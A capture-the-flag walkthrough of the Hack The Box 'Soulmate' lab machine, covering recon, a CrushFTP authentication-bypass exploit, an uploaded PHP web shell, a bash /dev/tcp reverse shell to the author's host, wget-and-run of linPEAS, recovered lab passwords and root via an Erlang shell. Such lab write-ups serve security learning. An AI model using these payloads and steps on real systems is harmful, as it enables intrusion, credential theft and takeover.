This is my second writeup, after my first one covering the Conversor machine (machine not yet retired, therefore writeup not yet published). I fell into a few rabbit holes trying to pwn this one, I’m sad to say. We’ll get to that part as well, but first: enum.
mairon $ nmap -Pn -n -v --open --top 5000 10.129.7.105
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-26 21:12 +0100
Initiating Connect Scan at 21:12
Scanning 10.129.7.105 [5000 ports]
Discovered open port 80/tcp on 10.129.7.105
Discovered open port 22/tcp on 10.129.7.105
Completed Connect Scan at 21:12, 1.28s elapsed (5000 total ports)
Nmap scan report for 10.129.7.105
Host is up (0.017s latency).
Not shown: 4998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
When trying to open the web page, we get a redirect:
mairon $ curl -I 10.129.7.105
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 26 Jan 2026 20:15:23 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://soulmate.htb/
So, let’s add it to our /etc/hosts:
mairon $ echo 10.129.7.105 soulmate.htb | sudo -a /etc/hosts
Now we can view the web page:
There’s an open registration function, which works, so never mind trying SQLi there. After registering yourself, you should see your profile:
XSS didn’t work in any of the input fields, but there’s also a profile picture upload function.
That was my first rabbit hole I spent too much time on.
Yes, it does allow arbitrary file upload, but it consistently renamed any of my file extension bypasses to 3_<unix time stamp>.png.
I tried null byte injection, content type fuzzing, file extension fuzzing, you name it.
My PHP web shell uploads just fine, but every time with an image extension, blocking my web shell execution:
mairon $ curl soulmate.htb/assets/images/profiles/3_1769499699.png
<html>
<head>
<title>G-Security Webshell</title>
</head>
<body bgcolor=#000000 text=#ffffff ">
<form method=POST>
<br>
<input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"
style="background:#000000;color:#ffffff;">
<hr>
<pre>
</pre>
</form>
<?php $cmd = $_REQUEST["-cmd"];?>
<?php if($cmd != "") print Shell_Exec($cmd);?>
</body>
</html>
After about an hour I eventually gave up and went back to enumeration. I ended up with Vhost enumeration which got me back on track:
mairon $ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://soulmate.htb --ad
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soulmate.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================
So, I added ftp.soulmate.htb to my /etc/hosts and got access to a new page:
I did not succeed with SQLi here either, but I eventually found a very recent authentication bypass PoC for CrushFTP 11.3.1 on exploit-db.com. I copied the exploit to my work dir:
mairon $ cp /usr/share/exploitdb/exploits/multiple/remote/52295.py ~/htb/soulmate/
Sadly I did not succeed in verifying the version running which is why I was reluctant to try this one.
Also, I couldn’t get the --check option to run reliably.
Not until I started drafting this writeup, which then of course it magically worked…:
mairon $ python 52295.py --target 'ftp.soulmate.htb' --port 80 --check
[36m
/ ____/______ _______/ /_ / ____/ /_____
/ / / ___/ / / / ___/ __ \/ /_ / __/ __ \
/ /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ /
\____/_/ \__,_/____/_/ /_/_/ \__/ .___/
/_/
[32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql
[0m
Scanning 1 targets with 10 threads...
Scanning targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00
Scan complete! Found 1 vulnerable targets.
Summary:
Total targets: 1
Vulnerable targets: 1
Exploited targets: 0
The exploit itself worked like a charm, though. I just needed to fiddle around with the arguments and precise values:
mairon $ python 52295.py --target 'ftp.soulmate.htb' --exploit --new-user duif --password duifduif --port 80
[36m
/ ____/______ _______/ /_ / ____/ /_____
/ / / ___/ / / / ___/ __ \/ /_ / __/ __ \
/ /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ /
\____/_/ \__,_/____/_/ /_/_/ \__/ .___/
/_/
[32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql
[0m
Exploiting 1 targets with 10 threads...
[+] Successfully created user duif on ftp.soulmate.htb
Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00
Exploitation complete! Successfully exploited 1/1 targets.
Exploited Targets:
→ ftp.soulmate.htb
Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 1
I then successfully logged in as my new user:
Most of the juicy stuff was on the User Manager page (click on Admin → User Manager).
This shows a file manager, for instance the contents of /app/CrushFTP11/ looked interesting with passfile and SSH host keys.
You can copy any files on the left to the right in your user’s home dir which, when saved, will show up at the main page where you can download the files.
I did not manage to get much out of the above tree, but I did find my profile picture at /app/webProd/assets/images/profiles/:

Renaming this with a PHP extension made it executable:
The web shell is now available at http://soulmate.htb/assets/images/profiles/shell.php, and I entered my reverse shell payload:
mairon $ bash -c "bash -i >& /dev/tcp/10.10.14.74/1337 0>&1"
This popped a shell 🎉:
mairon $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.231.23:50268.
bash: cannot set terminal process group (1148): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public/assets/images/profiles$
I then uploaded linPEAS:
mairon $ python -m http.server
And downloaded and ran linPEAS to the Soulmate machine via the popped shell:
www-data@soulmate:~/soulmate.htb/public/assets/images/profiles$ cd /tmp
cd /tmp
www-data@soulmate:/tmp$ wget 10.10.14.74:8000/linpeas_fat.sh
wget 10.10.14.74:8000/linpeas_fat.sh
--2026-01-27 07:57:27-- http://10.10.14.74:8000/linpeas_fat.sh
Connecting to 10.10.14.74:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16581706 (16M) [application/x-sh]
Saving to: 'linpeas_fat.sh'
0K .......... .......... .......... .......... .......... 0% 1.42M 11s
[...]
16150K .......... .......... .......... .......... ... 100% 8.09M=3.6s
2026-01-27 07:57:31 (4.36 MB/s) - 'linpeas_fat.sh' saved [16581706/16581706]
www-data@soulmate:/tmp$ bash linpeas_fat.sh
bash linpeas_fat.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Learn Cloud Hacking : https://training.hacktricks.xyz |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
LinPEAS-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look into it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting LinPEAS. Caching Writable Folders...
╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 5.15.0-153-generic (buildd@lcy02-amd64-105) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: soulmate
[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)
[...]
I found an interesting process under the Running processes (cleaned) section:
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
[...]
root 1145 0.2 1.7 2252172 68972 ? Ssl 19:45 0:01 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
[...]
This seems to be an Erlang SSH daemon of sorts, running as root, on localhost. More on that later.
I also noticed user ben with UID 1000, which made me suspect this is the user holding the User Flag:
╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)
[...]
uid=1000(ben) gid=1000(ben) groups=1000(ben)
[...]
Also some interesting executable files, corresponding to the above Erlang SSH daemon (we’ll get to that):
╔══════════╣ Executable files potentially added by user (limit 70)
2025-08-27+09:28:26.8565101180 /usr/local/sbin/laurel
2025-08-15+07:46:57.3585015320 /usr/local/lib/erlang_login/start.escript
2025-08-14+14:13:10.4708616270 /usr/local/sbin/erlang_login_wrapper
2025-08-14+14:12:12.0726103070 /usr/local/lib/erlang_login/login.escript
linPEAS also found some sqlite database files:
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
[...]
Found /var/www/soulmate.htb/data/soulmate.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 8, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for
This contained a single password hash for administrator:
www-data@soulmate:/tmp$ sqlite3 /var/www/soulmate.htb/data/soulmate.db "SELECT * FROM users;"
<oulmate.htb/data/soulmate.db "SELECT * FROM users;"
1|admin|$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2|1|Administrator|||||2025-08-10 13:00:08|2025-08-10 12:59:39
When identifying this hash I was very discouraged trying to crack it, because it seemed to be a bcrypt hash (very secure; very slow hash speed):
mairon $ hashid '$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2'
Analyzing '$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
Incidentally, linPeas also found a plain text admin password:
╔══════════╣ Searching passwords in config PHP files
/var/www/soulmate.htb/config/config.php: $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
I then wanted to verify if this is indeed the password for the above hash. It seemed so:
mairon $ hashcat -m 3200 '$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2' password.txt --potfile-disable
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 7.1 Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-1265U, 2918/5836 MB (2918 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (6954 MB free)
Dictionary cache built:
* Filename..: pass
* Passwords.: 1
* Bytes.....: 14
* Keyspace..: 1
* Runtime...: 0 secs
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Hashcat is expecting at least 144 base words but only got 0.7% of that.
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2:Crush4dmin990
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lo...ING3v2
Time.Started.....: Mon Jan 26 20:43:08 2026 (1 sec)
Time.Estimated...: Mon Jan 26 20:43:09 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (pass)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 4 H/s (1.58ms) @ Accel:12 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:4064-4096
Candidate.Engine.: Device Generator
Candidates.#01...: Crush4dmin990 -> Crush4dmin990
Hardware.Mon.#01.: Util: 13%
Started: Mon Jan 26 20:43:05 2026
Stopped: Mon Jan 26 20:43:10 2026
This password grants access the main web page (not the FTP page, but the dating web app):
But sadly there’s nothing of interest here…
Going back to the Erlang SSH daemon we spotted.
The /usr/local/lib/erlang_login/start.escript file contained `ben’s plain text password:
www-data@soulmate:/tmp$ cat /usr/local/lib/erlang_login/start.escript
cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.
This allows us to SSH as ben and get the User Flag 🎉:
mairon $ ssh -o "UserKnownHostsFile=/dev/null" ben@soulmate.htb
The authenticity of host 'soulmate.htb (10.129.231.23)' can't be established.
ED25519 key fingerprint is: SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY
+--[ED25519 256]--+
| oo..+...=+**+..|
| . ..= o.o +o+o+.|
|. * + . + ..o .|
|. + * + o o . E|
|. o . * S . o |
| . . + . . . |
| . . . |
| . o |
| ..o |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soulmate.htb' (ED25519) to the list of known hosts.
ben@soulmate.htb's password:
Last login: Tue Jan 27 08:35:34 2026 from 10.10.14.74
ben@soulmate:~$ cat user.txt
979c37805d27237177c8818ae5c2c9b5
Back to the Erlang SSH daemon, because we logged in via the OS' OpenSSH server, we can see from the escript file this daemon runs as root, on 127.0.0.1:2222, which we can verify:
ben@soulmate:~$ ss -tulpn | grep 22
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
Let’s login:
ben@soulmate:~$ ssh -o "UserKnownHostsFile=/dev/null" localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
ben@localhost's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
I had to look this up, but this is some sort of Erlang VM, similar to running a Python interpreter directly. As such, you can directly execute some Erlang code, such a basic arithmetic:
(ssh_runner@soulmate)1> 2 + 3.
5
You can also run system commands, and that’s how we can grab the System Flag 🎉:
(ssh_runner@soulmate)2> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").
"35bc136cb3a30ce762a5d9b28528996f\n"
This was a fun box, even though I spent too much time in a few rabbit holes.